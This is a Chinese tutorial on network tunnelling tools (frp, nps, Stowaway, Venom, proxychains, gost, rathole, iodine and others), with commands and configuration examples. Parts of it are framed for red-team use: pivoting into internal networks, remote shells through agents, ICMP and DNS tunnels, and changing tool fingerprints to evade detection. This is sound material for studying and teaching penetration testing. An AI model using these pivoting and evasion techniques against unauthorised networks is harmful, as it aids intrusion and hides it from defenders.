---
🐸 简介
关于流量隧道 🌵
流量隧道(Traffic Tunnel)是一种网络技术,用于将网络流量通过一个加密和隧道化的通道传输,以保护数据的安全性和隐私性。它可以用于各种目的,包括绕过网络限制、保护通信内容免受窃听、隐藏真实的网络流量等。
流量隧道的工作原理是将原始的网络流量封装在另一个协议的数据包中,以隐藏原始数据的内容和目的地。这些封装的数据包经过加密和隧道化处理后,在网络上传输到目标地点,然后被解封和还原为原始的网络流量。
流量隧道可以通过多种协议实现,其中比较常见的包括虚拟专用网络(VPN)、代理服务器和TOR(The Onion Router)等。这些技术都可以创建一个安全的通道,使用户能够匿名访问互联网或绕过地理限制。
需要注意的是,流量隧道技术在某些情况下可能违反法律或网络使用政策,特别是在某些国家或组织中。在使用流量隧道技术之前,请确保遵守当地的法律法规,并尊重网络服务提供商的使用条款和政策。
使用流量隧道的意义 ✍️
- 隐藏数据流量的真实源地址和目标地址。通过流量隧道,可以隐藏数据流经的真实网络路径,使得流量难以被追踪和监视。
- 逾越地域限制访问 blocked 网站。流量隧道可以将流量隧道出国外,从而实现跨越防火墙或地域限制访问 blocked 网站。
- 提高访问安全性。使用流量隧道可以加密传输数据流量,提高数据在传输过程中的保密性和完整性,防止中间人攻击。
- 缓解网络拥堵。通过流量隧道可以将流量定向转发到带宽充足的网络节点,有效利用较高速的国外网络线路,减轻源网络拥堵的压力。
- 实现网上匿名通信。通过流量隧道可以隐藏客户端真实IP,实现一定程度上的网上匿名访问,保护个人隐私。
- 避开地域限制。有些网站会根据访问用户的来源地域限制访问权限。通过流量隧道可以欺骗网站并隐藏真实地域,实现境外网站的完整访问。
- 绕过网络封锁,一些网络环境中可以使用特定端口,特定协议实现绕过,从而突破网络防火墙。
对于渗透测试红队 👨🏭
- 隐瞒源地址,规避检测
- 实现内网渗透跳板
- 加强后渗透隐蔽性
- 绕过IPS防御
- DNS 隧道
- ICMP 隧道
正向代理反向代理
正向代理和反向代理是两种常见的网络代理形式:
正向代理(Forward Proxy):
- 客户端直接连接到代理服务器,由代理服务器来连接外部服务和资源。
- 代理服务器位于客户端和目标服务器之间,它接受客户端的所有请求,然后向目标服务器发出请求并将响应返回给客户端。
优点:可以隐藏客户端的真实IP地址,提供流量监控和内容过滤功能。
反向代理(Reverse Proxy):
- 客户端直接连接到目标服务器,而非通过反向代理服务器。
- 反向代理服务器位于目标服务器前面,它向外界提供一致的接口,而后端可以部署多台服务器。
实现
Frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,且支持 P2P 通信。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
项目地址:https://github.com/fatedier/frp
公网 IP 的节点部署 frp 服务端,实现将内网服务穿透到公网,功能特性
- 客户端服务端通信支持 TCP、QUIC、KCP 以及 Websocket 等多种协议。
- 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间,降低请求延迟。
- 代理组间的负载均衡。
- 端口复用,多个服务通过同一个服务端端口暴露。
- 支持 P2P 通信,流量不经过服务器中转,充分利用带宽资源。
- 多个原生支持的客户端插件(静态文件查看,HTTPS/HTTP 协议转换,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
- 高度扩展性的服务端插件系统,易于结合自身需求进行功能扩展。
安装
- 解压下载的压缩包。
- 将
frpc
复制到内网服务所在的机器上。客户端
- 将
frps
复制到拥有公网 IP 地址的机器上,并将它们放在任意目录。服务器端
参数详解
frps
completion
为指定的shell生成自动完成脚本,例:frps completion zsh
help
-h --help
显示使用帮助,例:frps help
,frps --log_level -h
verify
验证配置是否有效,例:frps verify -c frps.toml
--allow_ports string
允许端口
--bind_addr string
绑定的 ip 地址 (default “0.0.0.0”)
-p, --bind_port int
绑定端口 (default 7000)
-c, --config string
指定配置文件
--dashboard_addr string
仪表盘地址 (default “0.0.0.0”)
--dashboard_port int
仪表盘端口
--dashboard_pwd string
仪表盘密码 (default “admin”)
--dashboard_user string
仪表盘用户 (default “admin”)
--dashboard_tls_cert_file string
仪表盘TLS证书文件
--dashboard_tls_key_file string
仪表盘 TLS 密钥文件
--dashboard_tls_mode
如果启用仪表盘TLS模式
--disable_log_color
在控制台禁用日志颜色
--enable_prometheus
启用 prometheus 仪表板
--kcp_bind_port int
KCP绑定udp端口
--log_file string
日志文件(默认”console”)
--log_level string
日志级别(默认”info”),可选,trace debug info warn error
--log_max_days int
日志最大天数(默认3)
--max_ports_per_client int
每个端口的最大客户端数量
--proxy_bind_addr string
代理绑定地址(默认为“0.0.0.0”)
--subdomain_host string
子域主机
--tls_only
仅使用 TLS
-t, --token string
验证token
-v --version
显示版本
--vhost_http_port int
vhost 的http 端口
--vhost_http_timeout int
vhost HTTP响应头超时(默认60)
--vhost_https_port int
vhost HTTPS端口
frpc
completion
为指定的shell生成自动完成脚本 ,例:frpc completion bash
help
查看帮助选项,frpc help or frpc help http
http
单个http代理运行frpc
https
单个https代理运行frpc
nathole
关于nathole的动作
reload
热加载frpc配置
status
所有代理状态概述
stcp
使用单个stcp代理运行frpc
stop
停止运行中的frpc
sudp
使用单个sudp 代理运行frpc
tcp
使用单个tcp代理运行frpc
tcpmux
使用单个tcpmux代理运行frpc
udp
使用单个udp代理运行frpc
verify
验证配置是否有效
xtcp
使用单个xtcp代理运行frpc
-c, --config string
指定frpc配置文件 (default “./frpc.ini”)
--config_dir string config directory
指定配置文件目录,为配置目录中的每个文件运行一个FRPC服务
-v
显示版本
- 使用“
frpc [command] --help
”获取命令的更多信息。
常用方式
建立 http 隧道进行内网穿透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| **服务端** frps --bind_addr 0.0.0.0 -p 7001 --kcp_bind_port 7001 监听端口
**客户端配置文件 frpc -c frpc.toml frpc.toml 配置文件内容** # 指定连接目标服务器的 ip 地址与端口 serverAddr = "you remote ip" serverPort = port
# 建立http隧道,隧道端口设置为7002,tcp协议,数据加密,压缩,设置隧道连接账户密码 [[proxies]] name = "plugin_http_proxy" type = "tcp" remotePort = 7002 transport.useEncryption = true transport.useCompression = true [proxies.plugin] type = "http_proxy" httpUser = "admin" httpPassword = "passwd"
运行后会在服务端看到7002端口监听,为http隧道。连接后实现内网穿透,http隧道。
|
建立 Socks5 隧道进行内网穿透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| **服务端** frps --bind_addr 0.0.0.0 -p 7001 --kcp_bind_port 7001 监听端口
**客户端配置文件 frpc -c frpc.toml frpc.toml 配置文件内容** #指定服务端ip和端口 serverAddr = "you remote ip" serverPort = 7001
# 设置socks5隧道,隧道端口7002,tcp协议,数据加密,压缩,设置隧道账户,密码 [[proxies]] name = "plugin_socks5" type = "tcp" remotePort = 7002 transport.useEncryption = true transport.useCompression = true [proxies.plugin] type = "socks5" username = "admin" password = "passwd"
运行后会在服务端开启socks5代理。实现内网穿透,socks5代理隧道
|
官方文档
https://gofrp.org/zh-cn/docs/
https://github.com/fatedier/frp
Nps
安装:https://github.com/ehang-io/nps/releases 官方版本,多年没有更新,有漏洞,会被反制,不推荐
*安装:*https://github.com/Q16G/npsmodify 二次开发魔改版,修复了漏洞,修改了流量特征。喜欢nps的可以尝试这个版本。
官方手册:https://ehang-io.github.io/nps/#/
使用方式
1 2 3
| sudo ./linux_amd64_nps 启动nps服务端 访问 服务端 8080 web页面登陆,默认账户密码 admin/123
|
- 登陆后点击右侧客户端新增:填写备注,用户,密码,压缩,加密。根据自己需求填写。
- 随后点击客户端,点新增的客户端的加号+。会提示命令连接
1 2
| 例如: sudo ./linux_amd64_npc -server=localhost:8024 -vkey=srsia6n0evfc9s3b -type=tcp
|
TCP隧道
1 2 3 4 5 6 7 8
| 适用范围: ssh、远程桌面等tcp连接场景 假设场景: 想通过访问公网服务器1.1.1.1的8001端口,连接内网机器10.1.50.101的22端口,实现ssh连接
在刚才创建的客户端隧道管理中添加一条tcp隧道,填写监听的端口(8001)、内网目标ip和目标端口(10.1.50.101:22),保存。
访问公网服务器ip(1.1.1.1),填写的监听端口(8001),相当于访问内网ip(10.1.50.101):目标端口(22)
例如:ssh -p 8001 root@1.1.1.1
|
UDP隧道
1 2 3 4 5
| 适用范围: 内网dns解析等udp连接场景 假设场景: 内网有一台dns(10.1.50.102:53),在非内网环境下想使用该dns,公网服务器为1.1.1.1
在刚才创建的客户端的隧道管理中添加一条udp隧道,填写监听的端口(53)、内网目标ip和目标端口(10.1.50.102:53),保存。 修改需要使用的dns地址为1.1.1.1,则相当于使用10.1.50.102作为dns服务器
|
Scosk 5 代理隧道
1 2 3 4 5
| 适用范围: 在外网环境下如同使用vpn一样访问内网设备或者资源 假设场景: 想将公网服务器1.1.1.1的8003端口作为socks5代理,达到访问内网任意设备或者资源的效果
在刚才创建的客户端隧道管理中添加一条socks5代理,填写监听的端口(8003),保存。 在外网环境的本机配置socks5代理,ip为公网服务器ip(1.1.1.1),端口为填写的监听端口(8003),即可访问内网。
|
Http 代理隧道
1 2 3 4 5
| 适用范围: 在外网环境下使用http正向代理访问内网站点 假设场景: 想将公网服务器1.1.1.1的8004端口作为http代理,访问内网网站
在刚才创建的客户端隧道管理中添加一条http代理,填写监听的端口 在外网环境的本机配置http代理,ip为公网服务器ip(1.1.1.1),端口为填写的监听端口(8004),即可访问内网
|
优化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| web_port web管理端口 web_password web界面管理密码 web_username web界面管理账号 web_base_url web管理主路径,用于将web管理置于代理子路径后面 bridge_port 服务端客户端通信端口 https_proxy_port 域名代理https代理监听端口 http_proxy_port 域名代理http代理监听端口 auth_key web api密钥 bridge_type 客户端与服务端连接方式kcp或tcp public_vkey 客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式 ip_limit 是否限制ip访问,true或false或忽略 flow_store_interval 服务端流量数据持久化间隔,单位分钟,忽略表示不持久化 log_level 日志输出级别 auth_crypt_key 获取服务端authKey时的aes加密密钥,16位 p2p_ip 服务端Ip,使用p2p模式必填 p2p_port p2p模式开启的udp端口 pprof_ip debug pprof 服务端ip pprof_port debug pprof 端口 disconnect_timeout 客户端连接超时,单位 5s,默认值 60,即 300s = 5mins
|
- 尝试修改默认管理端口,登陆用户密码,管理路径,服务端客户端默认8024(特征),尝试修改为其他端口。尝试修改客户端服务端连接协议kcp,tcp,可选,某些情况可能绕过内网封锁。
1 2 3 4 5 6 7 8 9 10 11 12 13
| [common] server_addr=1.1.1.1:8024 conn_type=tcp vkey=123 username=111 password=222 compress=true crypt=true rate_limit=10000 flow_limit=100 remark=test max_conn=10 #pprof_addr=0.0.0.0:9999
|
项 |
含义 |
server_addr |
服务端ip/域名:port |
conn_type |
与服务端通信模式(tcp或kcp) |
vkey |
服务端配置文件中的密钥(非web) |
username |
socks5或http(s)密码保护用户名(可忽略) |
password |
socks5或http(s)密码保护密码(可忽略) |
compress |
是否压缩传输(true或false或忽略) |
crypt |
是否加密传输(true或false或忽略) |
rate_limit |
速度限制,可忽略 |
flow_limit |
流量限制,可忽略 |
remark |
客户端备注,可忽略 |
max_conn |
最大连接数,可忽略 |
pprof_addr |
debug pprof ip:port |
Stowaway
功能特性
- 支持命令补全/历史
- 一目了然的节点树管理
- 节点间正向/反向连接
- 节点间支持重连
- 节点间可通过socks5/http代理进行连接
- 节点间可通过ssh隧道连接
- 节点间流量可选择TCP/HTTP
- 多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6
- 远程shell
- 上传及下载文件
- 端口本地/远程映射
- 节点可端口复用
- 自由开关各类服务
- 节点间相互认证
- 节点间流量以AES-256-GCM进行加密
- 支持各类平台(Linux/Mac/Windows/MIPS/ARM)
安装
1 2
| https: 访问下载地址,下载和系统架构相同的版本
|
使用
1 2 3 4 5 6 7 8 9 10
| 角色 admin 渗透测试者使用的主控端 agent 渗透测试者部署的被控端
定义 节点: 指admin || agent 主动模式: 指当前操作的节点主动连接另一个节点 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接 上游: 指当前操作的节点与其父节点之间的流量 下游:指当前操作的节点与其所有子节点之间的流量
|
参数详解
1 2 3 4 5 6 7 8 9
| 参数: -l 被动模式下的监听地址[ip]:<port> -s 节点通信加密密钥,所有节点(admin&&agent)必须一致 -c 主动模式下的目标节点地址 --socks5-proxy socks5代理服务器地址 --socks5-proxyu socks5代理服务器用户名(可选) --socks5-proxyp socks5代理服务器密码(可选) --http-proxy http代理服务器地址 --down 下游协议类型,默认为裸TCP流量,可选HTTP
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 参数: -l 被动模式下的监听地址[ip]:<port> -s 节点通信加密密钥 -c 主动模式下的目标节点地址 --socks5-proxy socks5代理服务器地址 --socks5-proxyu socks5代理服务器用户名(可选) --socks5-proxyp socks5代理服务器密码(可选) --http-proxy http代理服务器地址 --reconnect 重连时间间隔 --rehost 端口复用时复用的IP地址 --report 端口复用时复用的端口号 --up 上游协议类型,默认为裸TCP流量,可选HTTP --down 下游协议类型,默认为裸TCP流量,可选HTTP --cs 运行平台的shell编码类型,默认为utf-8,可选gbk
|
端口复用
使用流程
多级网络
- admin:
./stowaway_admin -l 9999 -s 123
- agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123
- agent-2:
./stowaway_agent -l 10000 -s 123
use 0
-> connect agent-2的IP:10000
Venom
特点
- 可视化网络拓扑
- 多级socks5代理
- 多级端口转发
- 端口复用 (apache/mysql/…)
- ssh隧道
- 交互式shell
- 文件的上传和下载
- 节点间通信加密
- 跨平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)
安装
参数详解
1 2 3 4 5
| Options: -lport port 监听一个本地端口 -passwd password 加密通信中使用的密码 -rhost ip 远程连接端 ip 地址 -rport port 远程连接端端口号
|
1 2 3 4 5 6 7 8
| Options: -lhost ip 本地ip地址 -lport port 监听本地端口 -passwd password 加密通信中使用的密码 -reuse-port port 端口复用指定的端口号 -rhost ip 远程连接端的ip地址 -rport port 远程连接端的端口号
|
使用流程
- sudo ./admin_linux_x64 -lport 12131 -passwd passwdkey 管理端监听
- sudo venom-agent -rhost “admin ip” -rport 12131 -passwd passwdkey 客户端连接
admin help 参数
- help 显示帮助信息
- exit 退出
- show 显示网络拓扑
- getdes 查看目标节点描述.
- setdes [info] 向目标节点添加说明.
- goto [id] 通过 id 选择节点
- listen [lport] 监听目标节点上的端口.
- connect [rhost] [rport] 通过目标节点连接到新节点.
- sshconnect [user@ip:port] [dport] 通过ssh 隧道连接到新节点
- shell 在目标节点上启动shell.
- upload [local_file] [remote_file] 上传文件.
- download [remote_file] [local_file] 下载文件.
- socks [lport] 启动一个socks5隧道.
- lforward [lhost] [sport] [dport] 将本地端口转发到远程端口.
- rforward [rhost] [sport] [dport] 远程端口转发到本地端口.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| show 显示节点信息 随后 goto 1 选择1节点 listen 12133 在节点1监听12133端口 随后 goto 2 选择2节点 connect 192.168.228.10 12133 随后节点2连接到节点1,节点1成为子节点,或者 agent_linux_x64 -rhost 192.168.204.139 -rport 进行连接 sshconnect root@192.168.0.104:22 9999 监听端口后通过ssh隧道连接 goto 1 节点后执行 shell 打开一个shell upload /tmp/test.pdf /tmp/test2.pdf 上传文件 download /tmp/test2.pdf /tmp/test3.pdf 下载文件 socks 8090 开启socks5隧道,admin端配置后可通过隧道访问内网agent
lforward将admin节点本地的8888端口转发到node1的8888端口 lforward 127.0.0.1 8888 8888
rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口 rforward 192.168.204.103 8889 8889
|
proxychains-ng
使用场景
- 命令行命令通过代理隧道转发流量,例如
proxychains curl [target.com](http://target.com)
curl
命令通过proxychains
配置的隧道进行连接。
- 内网渗透进行内网穿透后连接内网隧道进行测试。例如通过隧道扫描内网。
安装
1 2 3
| 例如: apt install proxychains-ng pacman -S proxychains-ng
|
配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 配置文件位置 /etc/proxychains.conf
#dynamic_chain 动态链配置,根据列表中配置的服务器进行逐个连接,自动跳过失效的服务器,其中一个成功不再继续下一个。 #strict_chain 静态链配置,根据列表中配置的服务器进行逐个连接,所有配置的服务器连接形成代理链,所有服务器都必须在线。 #round_robin_chain 同strict_chain,但是会跳过失败服务器。 #random_chain 随机选择服务器完成连接 #chain_len = 2 选择连接几个服务器,只有当使用random_chain或round_robin_chain时才有意义 #quiet_mode 安静模式,不显示库输出信息,推荐开启 # proxy_dns 代理dns请求,proxychains官方模式,简单速度快,可能不兼容浏览器 # proxy_dns_old 代理dns请求,模式二,速度慢,不支持,o nio n url,兼容性更好 #proxy_dns_daemon 127.0.0.1:1053 代理dns请求,模式三,兼容性最好,类似模式一,需要首先通过 proxychains4-daemon 指定本地服务运行
服务器配置格式
# socks5 192.168.67.78 1080 lamer secret # http 192.168.89.3 8080 justu hidden # socks4 192.168.1.49 1080 # http 192.168.39.93 8080
[ProxyList] 配置服务器 socks5 127.0.0.1 8090 socks5 127.0.0.1 8090 user pass http 127.0.0.1 8090 user pass
|
使用
- proxychains curl target.com 通过服务器转发 curl 的请求流量。
- proxychains nmap 192.168.0.1/24 通过配置的内网穿透隧道进行内网渗透扫描信息搜集
- 。。。
Glider
功能
- 快速隧道建立
- 快速代理链配置
- 同时支持多种协议代理链互联
- DNS 代理
- 在同一端口上提供http和socks 5
- 支持广泛协议(几乎所有)
安装
- Binary: https://github.com/nadoo/glider/releases
- Docker:
docker pull nadoo/glider
- Manjaro:
pamac install glider
- ArchLinux:
sudo pacman -S glider
- Homebrew:
brew install glider
- MacPorts:
sudo port install glider
- Source:
go install github.com/nadoo/glider@latest
使用
glider -verbose -listen :8443
监听http 与 socks5 隧道到0.0.0.0:8443 端口
glider -listen socks5://:1080 -listen http://:8080 -verbose
监听http隧道和socks5隧道
glider -listen :8443 -forward direct://#interface=eth0 -forward direct://#interface=eth1
多个转发器:侦听8443,并在循环模式下通过接口eth0和eth1转发请求。
glider -listen http://:8080 -forward socks5://serverA:1080,socks5://serverB:1080
监听8080端口,建立http隧道,通过forward设置的隧道链进行链接
glider -listen :8443 -forward socks5://serverA:1080 -forward socks5://serverB:1080#priority=10 -forward socks5://serverC:1080#priority=10
设置转发器优先级,转发器优先级:只有当服务器B和服务器C不可用时,才会使用服务器A。
glider -verbose -listen :8443 -forward direct://#interface=eth0 -forward direct://#interface=eth1 -strategy rr
对多个转发接口进行负载均衡
glider -verbose -listen :8443 -forward direct://#interface=eth0&priority=100 -forward direct://#interface=eth1&priority=200 -strategy ha
或者高可用模式
Gost v3
功能
- 端口转发
- 代理隧道
- 透明代理
- DNS代理
- ICMP隧道
- 内网穿透
- TUN / TAP
文档地址:https://latest.gost.run
常用功能
1 2 3 4 5 6 7 8 9 10 11 12 13
| 服务端
gost -L relay+icmp:
客户端
gost -L :8080 -F "relay+icmp://server_ip:12345?keepalive=true&ttl=10s"
客户端标识
ICMP与通常的传输层协议,例如TCP,UDP不同,没有端口的概念,但为了区分不同的客户端,需要对客户端进行标识。GOST中采用IP+ID的方式来标识一个客户端,IP即客户端IP地址,ID是ICMP Echo报文中的Identifier字段值。
在客户端可以通过类似于指定端口的方式来指定ID,例如上面例子中的12345。也可以设置为0,GOST会自动生成一个随机ID。对于服务端这个值无效。
|
Udp2raw
安装
使用
1 2 3 4 5 6 7 8 9 10
| 假设你有一个server,ip为44.55.66.77,有一个服务监听在udp 7777端口。 假设你本地的主机到44.55.66.77的UDP流量被屏蔽了,或者被qos了
在server端运行: ./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
在client端运行: ./udp2raw_amd64 -c -l0.0.0.0:3333 -r44.55.66.77:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
现在client和server之间建立起了,tunnel。想要在本地连接44.55.66.77:7777,只需要连接 127.0.0.1:3333。来回的所有的udp流量会被经过tunneling发送。在外界看起来是tcp流量,不会有udp流量暴露到公网。 --raw-mode 参数可选,faketcp(默认)、udp、icmp,根据当前网络情况选择。
|
Rathole
特点
- 高性能 具有更高的吞吐量,高并发下更稳定。见Benchmark
- 低资源消耗 内存占用远低于同类工具。见Benchmark。二进制文件最小可以到 ~500KiB,可以部署在嵌入式设备如路由器上。
- 安全性 每个服务单独强制鉴权。Server 和 Client 负责各自的配置。使用 Noise Protocol 可以简单地配置传输加密,而不需要自签证书。同时也支持 TLS。
- 热重载 支持配置文件热重载,动态修改端口转发服务。
功能
- 内网穿透
- 端口转发
- 内网穿透代理隧道,http,socks5
安装
配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| **客户端配置文件** [client] remote_addr = "example.com:2333" # 必要。服务器的地址
default_token = "default_token_if_not_specify" # 可选参数。服务的默认令牌,定义密码(如果它们没有定义自己的令牌)
heartbeat_timeout = 40 设置为0表示关闭应用层心跳测试。必须大于“server.heartbeat_interval”。默认值:40秒,可选
retry_interval = 1 # 可选。重试连接到服务器的时间间隔。默认值:1秒
[client.transport] # 可选,指定传输协议 ["tcp", "tls", "noise"]. Default: "tcp" [client.transport.tcp] # Optional. Also affects `noise` and `tls`
proxy = "socks5://user:passwd@127.0.0.1:1080" # 可选,设置代理连接服务器
nodelay = true # 可选 `client.transport.nodelay` 覆盖服务
keepalive_secs = 20 # 可选的。如果适用,请在tcp(7)中指定tcp_keepalive_time。默认值:20秒
keepalive_interval = 8 #可选的。如果适用,请在tcp(7)中指定tcp_keepalive_intvl。默认值:8秒
[client.transport.tls] # Necessary if `type` is "tls"
trusted_root = "ca.pem" # ca根证书
hostname = "example.com" # 可选的。客户端用来验证证书的主机名。如果没有设置,回退到“client.remote_addr”
[client.transport.noise] # Noise protocol. See `docs/transport.md` for further explanation
pattern = "Noise_NK_25519_ChaChaPoly_BLAKE2s" # Optional. Default value as shown
local_private_key = "key_encoded_in_base64" # Optional
remote_public_key = "key_encoded_in_base64" # Optional
[client.transport.websocket] # Necessary if `type` is "websocket" tls = true # 如果为true,使用 `client.transport.tls`
[client.services.service1] # 需要转发的业务。名称' service1 '可以任意更改,只要与服务器配置中的名称相同即可
type = "tcp" # 可选的。需要转发的协议。可能的值: ["tcp", "udp"]. Default: "tcp"
token = "whatever" # if `client.default_token` 没有设置,就必须使用
local_addr = "127.0.0.1:1081" # 必要的。需要转发的服务的本地ip地址端口
nodelay = true # 可选的。确定是否启用TCP_NODELAY进行数据传输,如果适用,以提高延迟,但减少带宽。默认值:true
retry_interval = 1 # 可选的。重试连接到服务器的时间间隔。默认值:继承全局配置
[client.services.service2] # 可以定义多个服务 local_addr = "127.0.0.1:1082"
**服务端配置文件** [server] bind_addr = "0.0.0.0:2333" # 必要的。服务器监听客户端的地址。一般只需要更改端口。
default_token = "default_token_if_not_specify" # 可选
heartbeat_interval = 30 # 可选的。两个应用层心跳的间隔。设置为0表示不发送心跳。默认值:30秒
[server.transport] # 参考 `[client.transport]` type = "tcp"
[server.transport.tcp] # Same as the client nodelay = true keepalive_secs = 20 keepalive_interval = 8
[server.transport.tls] # 如果' type '是"tls"则必需
pkcs12 = "identify.pfx" # 必要的。服务器证书和私钥的Pkcs12文件
pkcs12_password = "password" # 必要的。pkcs12文件的密码
[server.transport.noise] # Same as `[client.transport.noise]`
pattern = "Noise_NK_25519_ChaChaPoly_BLAKE2s"
local_private_key = "key_encoded_in_base64"
remote_public_key = "key_encoded_in_base64"
[server.transport.websocket] # 如果' type '是"websocket"则必需 tls = true # 如果' true ',那么它将使用' server.transport.tls '中的设置。
[server.services.service1] # 服务名称必须与客户端相同
type = "tcp" # Optional. Same as the client `[client.services.X.type]
token = "whatever" # 如果' server.default_token '未设置则必需
bind_addr = "0.0.0.0:8081" # 必要的。服务的地址公开在。一般只需要更改端口。
nodelay = true # 可选的。和客户端一样
[server.services.service2] bind_addr = "0.0.0.1:8082"
|
- 内网穿透,端口转发,将本地ssh服务转发的远程服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # server.toml [server] bind_addr = "0.0.0.0:2333" # `2333` 配置了服务端监听客户端连接的端口
[server.services.my_nas_ssh] token = "use_a_secret_that_only_you_know" # 用于验证的 token bind_addr = "0.0.0.0:5202" # `5202` 配置了将 `my_nas_ssh` 暴露给互联网的端口
# client.toml [client] remote_addr = "myserver.com:2333" # 服务器的地址。端口必须与 `server.bind_addr` 中的端口相同。 [client.services.my_nas_ssh] token = "use_a_secret_that_only_you_know" # 必须与服务器相同以通过验证 local_addr = "127.0.0.1:22" # 需要被转发的服务的地址
|
- 配合其他程序建立隧道进行端口转发,通过隧道访问内网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| # server.toml [server] bind_addr = "0.0.0.0:2333" # `2333` 配置了服务端监听客户端连接的端口
[server.services.tunnel] token = "use_a_secret_that_only_you_know" # 用于验证的 token bind_addr = "0.0.0.0:5202" # `5202` 配置了将 `tunnel` 暴露给互联网的端口
# client.toml [client] remote_addr = "myserver.com:2333" # 服务器的地址。端口必须与 `server.bind_addr` 中的端口相同。 [client.services.my_nas_tunnel] token = "use_a_secret_that_only_you_know" # 必须与服务器相同以通过验证 local_addr = "127.0.0.1:8090" # 需要被转发的服务的地址
使用文章中提到glider工具在本地主机上建立socks隧道 glider -listen :8090 -verbose 服务端使用上诉配置文件 rathole s.toml 客户端使用上诉配置文件进行连接 rathole c.toml 连接成功后客户端监听的8090端口的socks 服务器会被转发到服务器端的5202端口。服务器端连接5202端口可以使用客户端上的隧道进行内网访问。如proxychains 中设置socks代理,进行内网穿透隧道访问内网。
|
- 默认情况下,
rathole
按原样转发流量。 可以启用不同的选项来保护流量。将传输进行加密,使用 noise 进行加密传输
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| **运行命令,生成密钥,密钥模式** ❯ rathole --genkey Private Key: nfVDW5u1GGzPOCyMNp9P/S9Ytn6JE11lNnEgcx+YBsk=
Public Key: TyTLNaqaY7lQU418EPpNJpF1nJG46MJPzu3JR+7AekM=
随后在配置文件中配置以下信息 # Client Side Configuration [client.transport] type = "noise" [client.transport.noise] remote_public_key = "GQYTKSbWLBUSZiGfdWPSgek9yoOuaiwGD/GIX8Z1kkE="
# Server Side Configuration [server.transport] type = "noise" [server.transport.noise] local_private_key = "cQ/vwIqNPJZmuM/OikglzBo/+jlYGrOt9i0k5h5vn1Q="
**无需密钥验证模式 此配置提供流量加密,但不提供身份验证,这意味着它容易受到 MITM 攻击,但可以抵抗嗅探和重放攻击。 如果 MITM 攻击不是问题之一,那么使用起来更方便。**
# Server Side Configuration [server.transport] type = "noise" [server.transport.noise] pattern = "Noise_XX_25519_ChaChaPoly_BLAKE2s"
# Client Side Configuration [client.transport] type = "noise" [client.transport.noise] pattern = "Noise_XX_25519_ChaChaPoly_BLAKE2s"
**双向认证** # Server Side Configuration [server.transport] type = "noise" [server.transport.noise] pattern = "Noise_KK_25519_ChaChaPoly_BLAKE2s" local_private_key = "server-priv-key-here" remote_public_key = "client-pub-key-here"
# Client Side Configuration [client.transport] type = "noise" [client.transport.noise] pattern = "Noise_KK_25519_ChaChaPoly_BLAKE2s" local_private_key = "client-priv-key-here" remote_public_key = "server-pub-key-here"
|
iodine
功能
安装
使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 环境:公网服务器,域名 设置域名解析,添加A记录指向公网服务器 添加NS记录指向A记录
服务端:sudo iodined -f -c -P passwd 192.168.11.1 ns1.domain.com -DD -f 前台运行 -c 在每个请求时禁用检查客户端IP/端口 -P 指定密码 -D 指定调试级别,DD,DDD。
客户端:sudo iodine -f -r -P passwd ns1.domain.com -f 前台运行 -r 强制dns隧道 -P 指定密码
执行后会使用虚拟网卡tun/tap建立dns隧道。
|
参数详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| **iodined 服务端:** -v打印版本信息并退出
-h打印帮助并退出
-4只监听IPv4
-6只监听IPv6
-c在每个请求时禁用检查客户端IP/端口
-s跳过创建和配置tun设备;然后必须手动创建
-f保持在前台运行
-D增加调试级别 (在UTF-8终端使用-DD: "LC_ALL=C luit碘化-DD…")
-u name删除权限并以用户name运行
-t dir to chroot to dir目录
-d device设置隧道设备名称
-m mtu设置隧道设备的mtu
-z context用于初始化后应用SELinux上下文
-l监听传入dns流量的IPv4地址(默认0.0.0.0) (使用“外部”只监听外部IP,通过服务查找)
-L用于侦听传入dns流量的IPv6地址(默认::)
-p监听传入DNS流量的端口(默认为53)
-n ip以响应NS查询 (使用“auto”使用外部IP,通过服务查找)
-b端口转发正常的DNS查询(在本地主机上)
-P用于身份验证的-P密码(最多使用32个字符)
-F pidfile将pid写入文件
-i关闭前的最大空闲时间
**iodine 客户端:** -4只连接IPv4
-6只连接IPv6
-T force dns type: NULL, PRIVATE, TXT, SRV, MX, CNAME, A(默认值:autodetect)
